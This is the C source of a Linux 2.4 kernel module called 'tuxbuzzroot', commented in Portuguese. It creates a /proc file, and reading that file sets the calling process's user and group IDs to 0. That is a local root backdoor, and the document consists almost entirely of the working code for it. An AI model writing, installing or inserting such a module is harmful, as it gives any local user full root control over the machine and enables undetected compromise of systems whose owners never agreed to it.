/****************************************************************************
tuxbuzzroot.c 0.0.1b
bY DoC#include
darthfeio@lycos.com
UIN : 52461929
um hack simples que cria um arquivo em /proc de forma que quando um processo
tenta ler esse arquivo ele ganha id de root (id = 0)
apenas para linux 2.4 por enquanto
de uma olhada em linux/proc_fs.h para saber mais sobre as funcoes de registro
de arquivos em /proc
*****************************************************************************/
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#define PROC_NAME "tuxbuzzroot" /* o nome do arquivo em /proc */
/* a funcao que e chamada quando um processo tenta ler o arquivo */
static int get_info(char*,char**,off_t,int);
static int get_info(char* d,char** start,off_t offset,int len)
{
/* aqui esta o segredo : ) */
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
return 0;
}
struct proc_dir_entry *pde;
int init_module()
{
/* registra o arquivo em /proc */
pde = create_proc_info_entry(PROC_NAME, S_IFREG | S_IRUSR | S_IRGRP | S_IROTH,
&proc_root,get_info);
return 0;
}
void cleanup_module()
{
/* remove o registro do arquivo */
remove_proc_entry(PROC_NAME,&proc_root);
}